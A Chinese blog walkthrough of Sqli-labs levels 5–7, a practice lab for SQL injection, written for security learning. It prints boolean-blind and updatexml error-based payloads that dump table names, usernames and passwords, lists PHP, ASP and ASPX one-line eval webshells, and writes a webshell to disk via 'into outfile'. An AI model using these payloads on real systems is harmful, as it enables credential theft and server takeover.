《SQL注入—Sqli-labs-Less5-7 》

本文详细介绍了SQL注入的实战步骤,包括查找注入点、猜测数据库名、表名和字段,以及利用XML函数进行数据爆破。通过示例展示了如何利用单引号和双引号进行闭合测试,使用 BurpSuite 进行效率提升,最终达到获取数据库信息的目的。同时,提到了木马写入和利用的方法,以及在不同Less级别中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

知识点:

ASCII码表

left(a,b)   从左取a的b位,判断是否正确,正确返回1,错误返回0
ascii()     将字符串转为ascii值
UPDATEXML (XML_document, XPath_string, new_value)   详细讲解可网上搜索

一句话木马 
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
load_file()  读取本地文件
into outfile   写入文件

Less-5:

此文章Less-5重点讲解注入思路和流程,所以有大量不必要流程,如果掌握熟练可以从Less6开始学习!!!!!!

1.查找注入点

当输入id=1时,会输出显示You are in…….的提示。当输入id=100时,只有Welcome Dhakkan 的提示。由此可以确定,这关属于典型的报错注入,当输入正确时返回一个值,输入错误时返回另一个值或不返回值。
演示:
在这里插入图片描述之后我们进行闭合测试,发现输入 " ? ) 进行闭合时只有You are in…….提示,而输入单引号 **'**进行闭合时会报错,由此可以确定闭合成功,我们也就找到了注入点。
在这里插入图片描述

2.猜测数据库名

方法一

输入:
/Less-5/?id=1' and left((select database()),1)='a' --+  //报错说明数据库名第一个不是a
/Less-5/?id=1' and left((select database()),1)='s' --+  //返回You are in… 说明数据库名第一个字母是s
/Less-5/?id=1' and left((select database()),2)='se' --+  //返回You are in… 说明数据库名第二个字母是e
以此类推可以得到数据库名,但是我们发现这太慢了。所以可以直接使用Burp Suite进行爆破

首先输入/Less-5/?id=1’ and left((select database()),1)=‘a’ --+ 进行抓包。

在这里插入图片描述演示:
在这里插入图片描述
以此类推,获取整个数据库名security。

方法二
这里也可以

/Less-5/?id=1'  and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+

在这里插入图片描述

3.猜测数据库(security)中的表

在这里插入图片描述
users表是咱们要爆破的表
方法一

/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>c --+
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1)) >117 --+

/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))=c --+
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1)) =117 --+

a是从0开始第几个表,b是为第几个字符,c是ASCII所对应的十进制数,先经过对c的大小判断找到对应的范围,在对c进行确定。
通过此方法可以获取到security里面的表

方法二

/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

在这里插入图片描述

4.猜测数据库security中的users表里的字段
/Less-5/?id=1'  and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

在这里插入图片描述

5.猜测数据库security中的users表里username和password的列
/Less-5/?id=1'  and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+

在这里插入图片描述

/Less-5/?id=1'  and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(password)),0x7e) from users ),0x7e),1) --+

在这里插入图片描述

建议使用盲注脚本或工具进行注入

Less-6:

1.查找注入点
/Less-6/?id=1" --+    //less5的区别就是单引号换成的双引号
2.猜测数据库名
/Less-6/?id=1"  and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+     //这里就不讲解其他方法了
3.猜测数据库(security)中的表
/Less-6/?id=1" and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
4.猜测数据库security中的users表里的字段
/Less-6/?id=1"  and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
5.猜测数据库security中的users表里username和password的列
/Less-6/?id=1"  and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+
/Less-6/?id=1"  and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(password)),0x7e) from users ),0x7e),1) --+

Less-7:

1.环境准备

如果是phpstudy环境搭建Sqli-labs靶场要在所在的环境进入数据库并输入show variables like ‘%secure%’; 检查secure-file-priv的值,如果不是C:\而是NULL则要在phpstudy的mysql数据库存放路径里找到my.ini文件(C:\phpstudy\PHPTutorial\MySQL\my.ini)在里面添加一行secure_fike_priv=“/” 并重新启动数据库。
在这里插入图片描述

2.查找注入点
/Less-7/?id=1')) --+     

在这里插入图片描述

3.木马写入与利用
/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["password"])?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli\\Less-7\\text.php" --+ 



-1               显示空,如果是1则会把正确值写入进去
<?php @eval($_POST["password"])?>           password为密码
into outfile "C:\\......"                因为\被注释掉了所以用双斜杠

在这里插入图片描述在浏览器访问Less-7路径里的木马文件/Less-7/text.php,之后利用中国菜刀就可以拿到靶机的管理权限。
演示:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

susu苏打水

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值